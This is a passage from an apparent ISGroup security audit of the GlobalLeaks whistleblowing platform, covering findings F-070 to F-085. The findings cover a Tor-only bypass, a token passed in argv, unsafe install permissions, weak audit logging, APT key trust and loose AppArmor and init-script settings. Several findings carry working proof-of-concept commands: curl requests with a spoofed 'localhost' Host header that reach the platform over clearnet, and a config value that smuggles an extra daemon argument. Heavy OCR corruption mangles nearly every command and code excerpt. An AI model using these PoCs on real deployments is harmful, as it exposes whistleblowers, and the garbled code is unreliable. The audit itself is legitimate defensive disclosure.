(State.tenants[1].cache. hostname == '' and i sl PAddress(request. host nane)):
426 request.tid =1

backend/ gl obal eaks/ handl er s/ base. py

81 https_al | oned = cache. get (https_al | oned_key)
82 if not https_allowed and not client_using_tor:
83 rai se errors. Tor Net wor kRequi r ed

PoC

Steps to reproduce

1. On a packaged deployment using the default listener address, disable web reachability from the administrator
network page while leaving the default role HTTPS flags unchanged. The same state can be represented through
the admin network API as:

curl -k -sS -X PUT 'https:// TARGET/ api / adm n/ network' -H ' Cont ent - Type:
application/json' -H'X Session: <adm n-session> --data '{
"https_admn": true,
"https_anal yst": true,
"https_custodian": true,
"https_receiver": true,
"https_whi stlebl oner": true,
"reachabl e_via_web": false,
"anonym ze_out goi ng_connections": fal se,
“ip_filter_adm n_enabl e": fal se,
“ip_filter_admn": "",
"ip_filter_anal yst_enabl e": false,
“ip_filter_analyst": ""
"ip_filter_custodian_enabl e": false,
"ip_filter_custodian": ""
"ip_filter_receiver_enable": false,
"ip_filter_receiver": ""

2. Restart the packaged service so debi an/ gl obal eaks.init sees REACHABLE VI A WEB=0 . Confirm that the
daemon still binds the remote high HTTPS port from Settings. bi nd_renote_ports and that no repository rule
rejects direct access to that port.

ss -ltnp | grep ':8443
3. From a remote client that can reach the high port, send a direct HTTPS request with a local Host header.
curl -k -i 'https://TARCGET: 8443/ api/public' -H ' Host: |ocal host'

4. Create a whistleblower submission session over the same clearnet path.

curl -k -i -X PCST 'https:// TARGET: 8443/ api / aut h/ recei ptauth’ -H ' Host: |ocal host'
-H ' Content-Type: application/json' --data '{"receipt":""}'
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Expected result

When reachabl e_vi a_web is disabled, non-Tor requests to the platform should be rejected regardless of the
Host header or direct backend port. The global setting should either stop binding public high ports, install an
explicit reject policy for them, or be enforced before public and authentication handlers run.

Actual result

The backend continues listening on 8080 and 8443 | treats Host: | ocal host as tenant 1without verifying a
local peer, and evaluates whistleblower access only through htt ps_whi st ebl ower . With the default hidden

ht t ps_whi st | ebl ower =t rue , a clearnet client can access public resources and create a submission session
while the platform is configured as not reachable without Tor.

Impact

This bypasses the platform-wide Tor-only reachability control. A deployment that disables web reachability to
avoid clearnet exposure can still expose public tenant metadata, questionnaires, recipient listings, receipt login,
and new submission-session creation on direct high ports when those ports are reachable through the host
firewall or deployment environment. The path can also undermine operator assumptions about whistleblower
anonymity and increase the attack surface for public authentication and intake endpoints.

Impacted users or systems:
e Packaged deployments using the default LI STEN NG | P=:: and backend remote ports 8080 / 8443 .
o Deployments where TCP/8080 or TCP/8443 is reachable despite reachabl e_vi a_web=f al se .

e Operators and whistleblowers relying on the global setting to make the platform Tor-only.

CONFIDENTIALITY INTEGRITY AVAILABILITY
Low Low Low

CWE-807 ) Reliance on Untrusted Inputs in a Security Decision
CWE-358 ) Improperly Implemented Security Check for Standard
CWE-693 ) Protection Mechanism Failure
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10.26 F-070 - GitHub Actions pinning helper
accepts token via command-line argument

A maintainer token passed on the command line can leak through process lists, shell history, or Cl logs.

IMPACT COMPONENT FOUND BY
Credential disclosure Scripts GPT-5.5 medium v1

The GitHub Actions pinning helper accepts a GitHub personal access token through --token 0 . Command-line

arguments can be exposed through process listings, shell history, terminal logs, or Cl logs, increasing the chance
of credential disclosure.

Details

A ected source code, component, endpoint, or function:

script s/ bunp_and_pi n_gi tacti ons_versi on. sh

Description:

The script documents and parses a --token argument. Supplying secrets through argv is unsafe because local
users and process monitoring tools may be able to read command-line arguments while the process is running.
The token can also be recorded in shell history or copied into Cl logs.

The script also supports reading GITHUB_TOKEN or GH_TOKEN from the environment, which is safer for Cl secret
injection than a command-line argument.

Relevant code:
17 Qptions:
18 --token <PAT> G tHub token (el se read from $Q THUB TCKEN, el se anonynous)
27 vhile [[ $# -gt 0 ]]; do
28 case $1 in
29 - -t oken) A THB TOKEN="$2"; shift 2 ;;
39 : "${A THUB_TOKEN =${ GH TOKEN -}}"

51 http_code=$(curl -sSL -o "$body file" -w'%http_code}' \

52 -H "Authorization: token $Q THUB_TCKEN' \
PoC

Steps to reproduce

1. Start the script using a token argument.

./'scripts/bunp_and_pi n_gi tacti ons_version. sh --token ghp_exanpl eSecret Val ue --dry-
run

2. While the process is running, inspect process arguments from another shell.
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ps auxww | rg ' bunp_and_pi n_gitactions_versi on| ghp_exanpl eSecr et Val ue'

3. Observe that the token may be visible in process arguments.

./'scripts/bunp_and_pi n_gi tacti ons_version.sh --token ghp_exanpl eSecret Val ue --dry-
run

Expected result

The script should avoid accepting secrets via command-line arguments and should instruct users to provide
tokens through a protected environment variable, a non-echoing prompt, a credentials helper, or a file descriptor.

Actual result

The script accepts a PAT directly in argv.

Impact

This can disclose GitHub tokens to local users, process monitoring, logs, or command history. The token impact
depends on its scopes.

Impacted users or systems:

e Maintainers running the helper with --token .

e Cljobs or automation that include the token in a command line.

CONFIDENTIALITY INTEGRITY AVAILABILITY
High Low None

CWE-522 ) |nsu ciently Protected Credentials
CWE-532 ) Insertion of Sensitive Information into Log File
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10.27 F-076 - Debian postinst does not re-
enforce permissions on existing data directory

Unsafe permissions on an existing data directory can survive package install or upgrade and leave sensitive local
data exposed.

IMPACT COMPONENT FOUND BY
Local data exposure Debian GPT-5.5 medium v1

The Debian post-installation script creates /var/ gl obal eaks with restrictive permissions only when the
directory does not already exist. If the directory already exists with unsafe owner or mode, the package leaves
those permissions unchanged, which can expose sensitive application data or allow local tampering.

Details

The post-installation script creates the service account and data directory.

A ected source code, component, endpoint, or function:

debi an/ gl obal eaks. post i nst
backend/ def aul t

Description:

The package stores GlobalLeaks working data under /var/globaleaks. The postinst script only applies mkdir -m
700 and chown globaleaks:globaleaks when /var/globaleaks does not exist. On upgrades, reinstalls, or hosts with
a pre-existing directory, unsafe permissions are preserved.

Because /var/globaleaks contains the database, uploaded files, logs, temporary files, and other sensitive state,
the package should verify and enforce safe ownership and permissions on the top-level directory during
installation.

Relevant code:

debi an/ gl obal eaks. posti nst:

17 if [ ! -d "/var/gl obal eaks" ]; then
18 nkdi r -m 700 /var/ gl obal eaks && chown gl obal eaks: gl obal eaks /var/ gl obal eaks
19 fi

backend/ def aul t :

13 # WRKI NG DIR

14 # nmust be configured with the daenon working directory
15 WORKI NG DI R=/ var/ gl obal eaks/

PoC

The issue can be reproduced by installing the package on a host where /var/ gl obal eaks already exists with
permissive permissions.

Steps to reproduce
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1. Pre-create the data directory with unsafe permissions.

sudo nkdir -p /var/gl obal eaks
sudo chnmod 755 /var/ gl obal eaks
sudo chown root:root /var/gl obal eaks

2. Install or reinstall the Debian package so that debi an/ gl obal eaks. posti nst runs.

sudo dpkg -i gl obal eaks. deb
3. Check the resulting permissions.
stat -c '% %J % %' /var/gl obal eaks

Expected result

The package should reject unsafe pre-existing paths such as symlinks and enforce restrictive top-level ownership
and permissions, for example gl obal eaks: gl obal eaks and 0700 .

Actual result

If /var/gl obal eaks already exists, the script does not apply ownership or permission changes.

Impact

This is a local data exposure and integrity weakness. It does not by itself create remote code execution, but it can
leave sensitive GlobalLeaks state accessible or writable on systems with a pre-existing unsafe data directory.

Impacted users or systems:

o Debian or Ubuntu deployments installed over a pre-existing /var/ gl obal eaks .

e Upgrade or recovery workflows where directory permissions were previously modified.

CONFIDENTIALITY INTEGRITY AVAILABILITY
High High Low

CWE-276 ) Incorrect Default Permissions
CWE-732 ) Incorrect Permission Assignment for Critical Resource
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10.28 F-077 - Login failure audit entries omit
attempted principal context

Failed login attempts are recorded too generically to support reliable investigation of targeted guessing or
spraying activity.

IMPACT COMPONENT FOUND BY
Auditability loss Backend Claude Sonnet 4.6 medium
via run_codex_cwe_line vl

Failed internal-user and whistleblower authentication attempts are written to the administrator audit log only as
generic login_failure or whistleblower |ogin failure events. The event does notinclude the attempted
username, report/object identifier, source IP address, Tor/clearnet state, user agent, or failure reason. The HTTP
access log also suppresses IP address and user-agent fields for unauthenticated requests, so administrators
cannot correlate or investigate credential-spraying, targeted account guessing, or receipt-guessing attempts
from the repository's built-in audit interfaces.

Details

A ected source code, component, endpoint, or function:

backend/ gl obal eaks/ handl ers/auth/ __init__.py —db_login_failure(),

Aut hent i cati onHandl er. post (), Recei pt Aut hHandl er. post ()

backend/ gl obal eaks/ utils/|og. py —I ogFormatter ()

backend/ gl obal eaks/ handl er s/ base. py —BaseHand| er. get _sessi on()

backend/ gl obal eaks/ handl er s/ adm n/ audi t| og. py —Audi t Log and AccessLog handl ers

Description:

The authentication handlers receive request context that is needed for security investigations, including the
submitted internal username, the request IP address, whether the client is using Tor, and the user agent. On failed
authentication, that context is discarded before writing the audit event. The audit event contains only the tenant
and a generic failure type.

For whistleblower receipt failures, the backend should not log the submitted receipt secret, but it can still record
safe context such as request origin, Tor/clearnet state, and a non-secret failure category. Instead, all failed receipt
attempts for a tenant collapse into identical audit rows.

The separate HTTP access log does not compensate for this omission. Its formatter replaces the source IP
address and user agent with '-' unless request.log_ip_and_ua is true. That flag is only set after a valid non-
whistleblower session is recovered, so unauthenticated login failures are also written to access.log without the
fields needed to distinguish sources.

Relevant code:
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# backend/ gl obal eaks/ handl ers/auth/ __init__.py
23 def db_l ogi n_failure(session, tid, whistleblower=False):
24 db_l og(session, tid=tid, type="whistleblower_|ogin_failure" if
whi st ebl oner else 'login_failure')
25
26 rai se errors.|nvalidAuthentication

195 def post(self):
197 request = sel f.validate_request(self.request.content.read(),
request s. Aut hDesc)

203 session = yield login(tid,

204 request [’ usernane' |,

205 request [ password' ],

206 request [ ' aut hcode' ],

207 sel f.request.client_using_tor,
208 sel f.request.client_ip)

247 def post(self):
248 request = sel f.validate_request(self.request.content.read(),
request s. Recei pt Aut hDesc)

258 if request['receipt']:
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259 session = yield | ogi n_whistl ebl over (sel f.request.tid,
request['receipt'],
260 sel f.request.client_using_tor,

operat or _i d)

# backend/ gl obal eaks/ util s/ | og. py

69 client_ip ="-'

70 client_ua ="-"

71

72 if request.log_i p_and_ua:

73 client_ip = request.client_ip
74 client_ua = request.client_ua

# backend/ gl obal eaks/ handl er s/ base. py
151 if session is None or session.tid != self.request.tid:

152 return

154 if session.role !'="whistleblower' and \

155 sel f.state.tenants[ 1] . cache. get (' | og_accesses_of _internal _users', False):
156 sel f.request.l og_i p_and_ua = True

# backend/ gl obal eaks/ handl er s/ adm n/ audi t| og. py

11 def serialize_|l og(log):

12 return {

13 ‘date': |og.date,

14 ‘type': |og.type,

5 ‘user_id: log.user_id,

16 ‘object_id: |og.object_id,

17 ‘data’: |og.data

18 }

120 cl ass AccesslLog(BaseHandl er):

124 check_roles = "adnmn'

125 root_tenant_only = True

127 def get(self):

128 path = os. pat h. abspat h(os. pat h. j oi n(sel f. state. settings.working_pat h,

"l og/ access. | og'))
129 return self.wite_file_as_downl oad(' access.|og', path)

PoC
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Steps to reproduce

1. Send two failed internal-user login attempts against the same tenant, using di erent usernames or di erent
source addresses.

curl -k -sS https://exanpl e.test/api/auth/authentication \

-H ' Content-Type: application/json \

--data '{"tid":0,"usernanme":"alice","password":"wong", "aut hcode":""}"
curl -k -sS https://exanpl e.test/api/auth/authentication \

-H ' Content-Type: application/json' \
--data '{"tid": 0, "username":"bob", "password":"w ong", "aut hcode":""}"

2. As an administrator, fetch the audit log.

curl -k -sS https://exanple.test/api/admn/auditlog -H "' X Session: <adnin-session-
id>

3. As a root-tenant administrator, fetch the access log.

curl -k -sS https://exanple.test/api/adm n/auditl og/access -H "' X-Session: <adm n-
session-i d>'

Expected result

Failed authentication audit entries should contain enough non-secret context for investigation and correlation. For
internal users, that includes at least the attempted username or user identifier when safe, request origin,
Tor/clearnet state, and timestamp. For whistleblower receipt failures, the receipt secret should not be logged, but
the event should still include safe origin metadata and a non-secret failure category.

Actual result

The administrator audit log contains generic events equivalent to:

{"type":"login_failure","user_id":null,"object_id":null,"data": nul |}

Failed whistleblower receipt attempts similarly become indistinguishable = whi st ebl ower _| ogi n_fai |l ure rows.
The access log writes - for the IP address and user agent for these unauthenticated requests, so the built-in
logs do not show which account or report was targeted or where the attempts came from.

Impact

This is an auditability vulnerability. An unauthenticated attacker can perform credential stu ng, account guessing,
targeted administrator/recipient login attempts, or whistleblower receipt guessing while leaving only tenant-wide
generic failure counters in the audit log. Administrators cannot use the built-in audit interfaces to determine
which account was targeted, whether failures came from one origin or many origins, whether attempts used Tor
or clearnet, or whether a whistleblower report is under targeted receipt-guessing attack.

Impacted users or systems:

o Globaleaks operators relying on the built-in administrator audit log and downloadable access log for security
monitoring.
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e Administrators and recipients whose accounts are targeted by credential-guessing or password-spraying
attempts.

o Whistleblower reports targeted by receipt-guessing attempts.

CONFIDENTIALITY INTEGRITY AVAILABILITY
None Low None

CWE-223 ) Omission of Security-relevant Information
CWE-778 ) Insu cient Logging
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10.29 F-078 - Install script trusts APT signing key
fetched over HTTPS (trust-on-first-use)

The installer trusts a freshly downloaded signing key on first use, so a compromised delivery path can subvert
package trust.

IMPACT COMPONENT FOUND BY
Package trust bypass Scripts GPT-5.5 medium v1

The installer downloads the Globaleaks APT signing key at install time and immediately configures it as a trusted
key for package installation. The script does not verify the key fingerprint against an embedded expected value.

Details

A ected source code, component, endpoint, or function:

scripts/install.sh

Description:

The installer fetches the repository signing key from https./deb.globaleaks.org/globaleaks.asc and writes it into
/etc/apt/trusted.gpg.d. It then configures the GlobalLeaks APT repository to use that key and installs packages
from the repository.

TLS protects the transport, but the script has no independent trust anchor for the key material. If the download
endpoint, DNS, certificate issuance path, CDN, mirror, or published key file is compromised, the attacker-provided
key becomes trusted for the repository in this installation flow.

Relevant code:

146  echo "Addi ng Q obalLeaks PGP key to trusted APT keys"
147  curl -sS https://deb. gl obal eaks. or g/ gl obal eaks. asc | gpg --dearnmor -0 /etc/
apt/trusted. gpg. d/ gl obal eaks. gpg

149  echo "Updating d obaleaks apt source.list in /etc/apt/sources.|ist.d/

gl obal eaks. list ..."

150 echo "deb [signed-by=/etc/apt/trusted. gpg.d/ gl obal eaks. gpg] https://

deb. gl obal eaks. org $DI STRO CODENAME/ " > /et c/ apt/sources. | i st. d/ gl obal eaks. | i st
152 DO "apt update -y"

157 DO "apt install -y --no-install-reconmmends python3-nunkres gl obal eaks"

PoC

Steps to reproduce

1. Review the installer key installation path.

nl -ba scripts/install.sh | sed -n '146, 157p'
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2. Confirm that no fingerprint verification is performed before writing the keyring.

rg -n 'fingerprint|--show keys|w th-fingerprint|gl obal eaks. asc| trust ed. gpg. d'
scripts/install.sh

3. The only trust decision before package installation is the downloaded key itself.

curl .../global eaks.asc | gpg --dearmor -o /etc/apt/trusted. gpg. d/ gl obal eaks. gpg
apt install ... global eaks

Expected result

The installer should verify the downloaded key fingerprint against a hardcoded expected fingerprint before
trusting it, or ship the repository key through a separately authenticated channel.

Actual result

The downloaded key is trusted without an explicit fingerprint check.

Impact

This is a supply-chain hardening issue in the installation path. A compromise of the key download path can lead to
installation of attacker-signed packages.

Impacted users or systems:

e New installations using scripts/install.sh .

e Automation that runs the installer on fresh systems.

CONFIDENTIALITY INTEGRITY AVAILABILITY
High High High

Insu cient Verification of Data Authenticity
Download of Code Without Integrity Check
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10.30 F-079 - Build script validates distribution
argument as regex substring

A malformed distribution argument can slip through validation and contaminate later build paths and packaging
logic.

IMPACT COMPONENT FOUND BY
Build integrity risk Scripts GPT-5.5 medium v1

The package build script validates the -d distribution argument with a regex substring match against a space-

separated string. Malformed values containing regex metacharacters can pass validation and later be used in
path construction and build logic.

Details

A ected source code, component, endpoint, or function:

scripts/build.sh

Description:

The script stores valid targets in a space-separated string and checks the user-supplied DISTRIBUTION with [[
$TARGETS =~ $DISTRIBUTION ]]. The right-hand side is treated as a regular expression, not as a literal enum
value. Inputs such as .* can match the target string and pass validation.

When DISTRIBUTION is not all, TARGETS is assigned to the untrusted value. Later the script uses TARGET in path
construction for build directories, Debian control files, requirements files, changelog substitution, and dput paths.

Relevant code:

5 TARGETS="bookwor m bul | seye focal jammy noble resolute trixie"
6 DI STRI BUTI ON="tri xi e"

24 vhile getopts "d:t:nph:1z" opt; do
25 case $opt in
26 d) DI STR BUTI ON=" $CPTARG'

48 if ! [[ $TARCETS =~ $DISTRBUTION ]] && [[ $DISTRBUTION != "all" ]]; then
49 usage

50 exit 1

51 fi

53 if [ "$DISTRBUTICN' !'="all" ]; then
54  TARCETS=$D STR BUTI ON
55 fi

102 for TARGET in $TARGETS, do
105 BU LDDI R="bui | d/ $TARGET"

115 cp debi an/ control X/ control . $TARGET debi an/ contr ol

116  cp backend/ requi renments/requirenents. t xt. STARGET backend/requi rements. t xt
118 sed -i "s/stable; urgency=/ $TARCET; urgency=/g" debi an/ changel og

PoC

Page 274 of 400

All rights reserved ISGroup Sr.l. - www.isgroup.biz - Made in Italy



ISGroup SRL
Via Cantarane, 14
37129 Verona (VR)
. . PIVA IT 04164220230
Information Security REA VR-397513

Labeling PUBLIC Date 30/07/2026 Author ISGroup

Edition 01 Revision 01 Distribution Public disclosure permitted

Steps to reproduce

1. Run the validation logic with a regex value.

TARGETS="bookwor m bul | seye focal jammy noble resolute trixie"

DI STR BUTI ON=" . *!

if ! [[ $TARCETS =~ $DISTRBUTICN]] && [[ $DISTRBUTION !="all' ]]; then echo
rejected; else echo accepted; fi

2. Observe that the invalid distribution is accepted.

accept ed

3. In the full script, the accepted value flows into build path construction.

BU LDDI R="bui | d/ $TARGET"
cp debi an/ control X/ control . $TARGET debi an/ cont r ol

Expected result

The distribution argument should be validated as an exact enum value, for example with a case statement over
the supported codenames and al |

Actual result

The argument is interpreted as a regex and can pass validation even when it is not a supported distribution.

Impact

This can cause incorrect builds, unintended file accesses, or packaging behavior controlled by an untrusted build
argument. The impact is highest if build parameters are forwarded from ClI, release automation, or other user-
controlled inputs.

Impacted users or systems:

e Maintainers or Cl systems running scripts/build.sh -d 0 .

¢ Release automation that accepts a distribution value from workflow inputs or external tooling.

CONFIDENTIALITY INTEGRITY AVAILABILITY
Low Low Low

CWE-20 ) Improper Input Validation
CWE-625 ) Permissive Regular Expression
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10.31 F-080 - AppArmor profile permits
unneeded privileged capabilities

The packaged AppArmor profile leaves unnecessary capabilities available and weakens containment if the
daemon ever reaches them.

IMPACT COMPONENT FOUND BY
Sandbox hardening gap Debian GPT-5.5 medium v1

The Debian AppArmor profile for GlobalLeaks allows several powerful Linux capabilities, including DAC bypass
and ownership-changing capabilities. If the confined process ever runs with or gains these capabilities through
another configuration path, the profile would not block their use.

Details

The AppArmor profile is installed for /usr/bi n/ gl obal eaks and used by the init script through aa- exec .

A ected source code, component, endpoint, or function:

debi an/ appar nor/ usr. bi n. gl obal eaks
debi an/ gl obal eaks. i ni t

Description:

The profile permits capability setgid, setuid, fsetid, fowner, chown, dac_override, dac_read_search, and
sys_tty _config. These are broad privileges for the Python application process. AppArmor does not grant
capabilities that the process does not otherwise have, but it does define what the profile would allow if such
capabilities are present.

Because the service is security-sensitive and stores confidential reports and secrets, the profile should follow
least privilege and only allow capabilities that are demonstrably required by the confined application.

Relevant code:

debi an/ appar nor/ usr. bi n. gl obal eaks:
3 profile usr.bin.global eaks flags=(attach_di sconnected) {
10 capabi lity setgid,

11 capabi lity setuid,

12 capability fsetid,

13 capabi lity fowner,

14 capabi | ity chown,

15 capabi | ity dac_overri de,

16 capabi lity dac_read_search,
17 capabi lity sys_tty_config,

debi an/ gl obal eaks.init:

163 if start-stop-daenon \

166 --chui d ${ USERNAME} \

168 --startas $(conmand -v aa-exec) \

169 --exec $DAEMIN \

170 -- --profile=usr.bin. gl obal eaks $DAEMIN $ARCS
PoC
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The issue can be reproduced by inspecting the installed AppArmor profile.

Steps to reproduce

1. Inspect the packaged profile.

grep -n 'capability' debi an/apparnmor/usr. bin. gl obal eaks

2. Observe the allowed privileged capabilities.

capabi lity setgid,

capabi lity setuid,

capabi lity fsetid,

capabi lity fowner,

capabi lity chown,

capabi l ity dac_overri de,
capabi | ity dac_read_search,
capabi lity sys_tty_config,

3. Compare the allowed capabilities with the expected runtime needs of the non-root Globaleaks process.

The profile allows DAC bypass and owner shi p-changi ng capabilities even though the
daenon is started with --chuid gl obal eaks.

Expected result

The AppArmor profile should allow only the capabilities required by the Globaleaks process. If no capabilities are
required after privilege drop, the profile should not allow these broad capability rules.

Actual result

The AppArmor profile allows multiple high-impact capabilities.

Impact

This is a defense-in-depth weakness. It does not by itself grant privileges to the daemon, but it reduces the
containment value of the AppArmor profile if another configuration, packaging, or runtime error leaves capabilities
available to the process.

Impacted users or systems:

e Debian or Ubuntu deployments relying on the packaged AppArmor profile for containment.

o Hosts where future packaging or local configuration changes alter capability inheritance.

CONFIDENTIALITY INTEGRITY AVAILABILITY
Low Low Low

CWE-250 ) Execution with Unnecessary Privileges
CWE-266 ) Incorrect Privilege Assignment
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10.32 F-081 - Debian init script expands daemon
arguments ungquoted

Unqguoted daemon arguments make the root-run startup path fragile and easier to misconfigure through shell-
style values.

IMPACT COMPONENT FOUND BY
Configuration hardening gap Debian GPT-5.5 medium v1

The Debian init script reads shell configuration values and expands daemon arguments through an unquoted
$ARGS variable. This allows whitespace or shell-special values in configuration to change the argument list
passed to the daemon and makes the root-run startup path unnecessarily fragile.

Details

The init script sources default configuration files and builds command-line arguments for /usr/ bi n/ gl obal eaks .

A ected source code, component, endpoint, or function:

debi an/ gl obal eaks. i ni t
backend/ def aul t
debi an/ def aul t

Description:

debian/globaleaks.init sources /usr/share/globaleaks/default and /etc/default/globaleaks, then interpolates
LISTENING_IP and WORKING_DIR into a multiline ARGS string. Later, ARGS is expanded unquoted when invoking
start-stop-daemon.

The default configuration file is root-controlled, so this is not a direct escalation from an unprivileged user when
file permissions are correct. However, the service startup path is root-run and the unquoted expansion allows
malformed or unexpected configuration values to be split into additional arguments. This can cause
misconfiguration, startup failure, or unintended daemon options.

Relevant code:
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debi an/ gl obal eaks.init:

33 if test -e "/usr/share/gl obal eaks/defaul t" ; then
34 . "lusr/share/ gl obal eaks/ def aul t"

35 fi

42 if test -e "/etc/defaul t/ gl obal eaks" ; then
43 . "letc/defaul t/gl obal eaks"

44 fi

151 ARGS="--i p=${ LI STEN NG | P}

152 --wor ki ng- pat h=${ WORKING D' R *
178 if start-stop-daenon \

181 --chui d ${ USERNAME} \

182 --pidfile $GPID\

183 --exec $DAEMN \

184 -- $ARGS

backend/ def aul t :

9 # LISTENNGIP = [ip]

11 LISTEN NG | P=::

13 # WRKI NG DI R

15 WORKI NG DI R=/ var/ gl obal eaks/

PoC

The issue can be reproduced by setting a configuration value containing whitespace and an additional option.

Steps to reproduce

1. Configure a working directory value containing an additional daemon argument.

sudo sh -c 'printf "9%\n" "WRKI NG D R=/var/ gl obal eaks --nodaenon" > /etc/defaul t/
gl obal eaks'

2. Start the service.

sudo /etc/init.d/global eaks start

3. Observe that the value is split into separate command-line words.

The daenon invocation receives the configured value as nul tiple argunents instead
of one --working-path val ue.

Expected result

Configuration values should be validated and passed as single arguments. Since the script uses bash, an array-
based command construction should preserve argument boundaries.

Actual result

The script expands $ARGS unquoted, allowing word splitting of configuration-derived values.

Impact

This is primarily a local configuration hardening issue. It can cause service misconfiguration or unintended
daemon options if a root-controlled configuration file is malformed or modified by another process. The impact is
higher if another vulnerability allows a lower-privileged actor to influence /et c/ def aul t/ gl obal eaks .
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Impacted users or systems:

e Debian or Ubuntu deployments using /et c/ def aul t/ gl obal eaks .

¢ Installations where configuration files are generated or modified automatically.

CONFIDENTIALITY INTEGRITY AVAILABILITY
Low Low Low

CWE-88 ) Improper Neutralization of Argument Delimiters in a Command
CWE-20 ) Improper Input Validation
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10.33 F-082 - Init script removes firewall rules
matching a broad comment string

A broad comment match can remove unrelated firewall rules and unintentionally alter host network policy.

IMPACT COMPONENT FOUND BY
Firewall misconfiguration Debian GPT-5.5 medium v1

The Debian init script removes firewall rules by filtering out every i pt abl es-save and i p6t abl es-save line
containing the string gl obal eaks . This can delete unrelated administrator-managed rules if they contain the
same string in a comment or other serialized field.

Details

The network sandboxing start and stop functions rebuild iptables state after dropping lines that match
gl obal eaks .

A ected source code, component, endpoint, or function:

debi an/ gl obal eaks. i ni t

Description:

The init script uses grep -v "globaleaks" against the complete iptables-save and ip6tables-save output to remove
old GlobalLeaks-managed rules. This matching is not scoped to a dedicated chain, a unique rule prefix, or exact
comments generated by the package.

An unrelated firewall rule containing the word "globaleaks" can be removed during service start or stop. This can
weaken host firewall policy or break administrator-defined access controls.

Relevant code:

debi an/ gl obal eaks.init:

88 # renove all rules with the comment: "gl obal eaks"

89 i ptabl es-save | grep -v "gl obal eaks" | iptables-restore

90 i p6t abl es-save | grep -v "gl obal eaks" | i p6tabl es-restore

107 i ptabl es -mconment --comment "gl obal eaks” -t nat -A PRERQUTING -p tcp -
-dport 80 -j RED RECT --to-port 8080

108 i p6t abl es -m conment --comment "gl obal eaks" -t nat -A PRERCUTING -p tcp

--dport 80 -j REDI RECT --to-port 8080
132 # renove all rules with the comrent: "gl obal eaks"

133 i ptabl es-save | grep -v "gl obal eaks" | iptables-restore
134 i pét abl es-save | grep -v "gl obal eaks" | ip6tabl es-restore
PoC

The issue can be reproduced by creating an unrelated firewall rule with a comment containing gl obal eaks .

Steps to reproduce

1. Add an administrator-managed rule with a comment that contains the matching string.
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sudo iptables -A INPUT -p tcp --dport 22 -mconmment --conmment “admin gl obal eaks
nai nt enance rul e" -j ACCEPT

2. Start or stop the Globaleaks service.

sudo /etc/init.d/global eaks start

3. Check whether the unrelated rule remains present.

sudo i ptabl es-save | grep "adm n gl obal eaks naintenance rule" || true

Expected result

The service should remove only firewall rules that it owns, ideally by using a dedicated chain or exact, unique rule
identifiers.

Actual result

The service removes every serialized iptables rule line containing the substring gl obal eaks .

Impact

This is a firewall policy integrity issue. It may remove unrelated host firewall rules and unintentionally expose
services or disrupt administrator-defined controls.

Impacted users or systems:

e Debian or Ubuntu deployments using the packaged network sandboxing logic.

e Hosts with administrator-managed iptables rules whose serialized form contains gl obal eaks .

CONFIDENTIALITY INTEGRITY AVAILABILITY
Low Low Low

CWE-693 ) Protection Mechanism Failure
CWE-284 ) Improper Access Control
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10.34 F-083 - Systemd unit delegates startup to
a broad root SysV init script

The packaged service starts through a much broader root shell script than necessary, enlarging the privileged
startup surface.

IMPACT COMPONENT FOUND BY
Privileged surface expansion Debian GPT-5.5 medium v1

The Debian systemd unit starts /et c/init.d/ gl obal eaks as root instead of directly executing the Globaleaks
daemon as the service user. Although the init script later uses start - st op- daenon - -chui d |, firewall setup,

filesystem setup, configuration parsing, and daemon argument construction happen in a larger root shell script
before the privilege drop.

Details

The packaged systemd unit wraps the legacy init script.

A ected source code, component, endpoint, or function:

debi an/ gl obal eaks. servi ce
debi an/ gl obal eaks. i ni t

Description:

The systemd service enables several hardening directives, but ExecStart, ExecStop, and ExecReload call the init
script as root. The init script performs iptables changes, creates/chowns runtime paths, sources shell
configuration files, constructs daemon arguments, and then starts the daemon with start-stop-daemon --chuid.

This design increases the amount of root shell code involved in normal service lifecycle operations and makes
security depend on the correctness of shell parsing, path handling, and local configuration. A native systemd unit

using User=globaleaks, RuntimeDirectory=, StateDirectory=, and direct ExecStart would reduce the privileged
attack surface.

Relevant code:
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debi an/ gl obal eaks. servi ce:
8 [Service]
9 Type=forking

14
15
16
18
22
25

ExecStart=/etc/init.d/ gl obal eaks start
ExecStop=/etc/init.d/ gl obal eaks stop
ExecRel oad=/etc/init.d/ gl obal eaks rel oad
Runt i neDi r ect or y=g| obal eaks

NoNewPr i vi | eges=yes

Prot ect Syst en¥stri ct

30 ReadWi t ePat hs=/ var/ gl obal eaks

debi an/ gl obal eaks.init:

42 if test -e "/etc/defaul t/gl obal eaks" ; then

43 . "letc/defaul t/gl obal eaks"

44 fi

141 if [ ! -d "/run/global eaks" ]; then

142 nkdi r -m 700 /run/ gl obal eaks

143 fi

144 chown $USERNAME: SUSERNAME / run/ gl obal eaks

163 if start-stop-daenon \

166 --chui d ${ USERNAME} \
PoC
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The issue can be reproduced by inspecting the installed unit and service startup chain.

Steps to reproduce

1. Ins

sys

pect the packaged systemd unit.

tenct!| cat gl obal eaks

2. Observe the configured startup command.

Exe

cStart=/etc/init.d/ gl obal eaks start

3. Inspect the init script for root-run service setup before --chuid .

sed

-n '33,184p' /etc/init.d/ global eaks

Expected result

The systemd service should minimize root-run lifecycle code and execute the daemon directly as the
gl obal eaks user wherever possible. Privileged setup, if required, should be isolated to narrowly scoped helpers

or se

parate units.

Actual result

The normal service lifecycle delegates to a root shell script that performs multiple privileged operations before
launching the daemon as the service user.

Impact

This is a defense-in-depth weakness and privileged attack-surface concern. It amplifies the impact of bugs in the
init script, unsafe local configuration, path handling mistakes, or future changes to the root-run startup logic.
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Impacted users or systems:
e Debian or Ubuntu deployments managed via the packaged systemd service.

¢ Hosts relying on systemd hardening to limit service startup and runtime behavior.

CONFIDENTIALITY INTEGRITY AVAILABILITY
Low Low Low

CWE-250 ) Execution with Unnecessary Privileges
CWE-269 ) Improper Privilege Management
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10.35 F-085 - Docker documentation references
a mutable image tag

Using a mutable Docker tag makes deployments harder to reproduce and easier to drift from the image that was
reviewed.

IMPACT COMPONENT FOUND BY
Reproducibility risk Docker GPT-5.5 medium v1

The Docker installation documentation recommends deploying gl obal eaks/ gl obal eaks: | at est . The mutable
| at est tag makes deployments less reproducible and can cause operators to unintentionally run a di erent
image than the one they reviewed or tested.

Details

The Docker run examples use a mutable image tag.

A ected source code, component, endpoint, or function:

docker / Readre. nd
docunent ati on/ setup/installation.rst

Description:

Both Docker installation examples use globaleaks/globaleaks:latest. Tags are mutable in common Docker
registry workflows. For a security-sensitive deployment, documentation should prefer a versioned tag or digest-
pinned image reference and explain the update process separately.

Relevant code:

docker / Readne. nd:
5 docker run -d --nane gl obal eaks \
10 gl obal eaks/ gl obal eaks: | at est

docunent ation/setup/installation.rst:

21 docker run -d --nanme gl obal eaks \
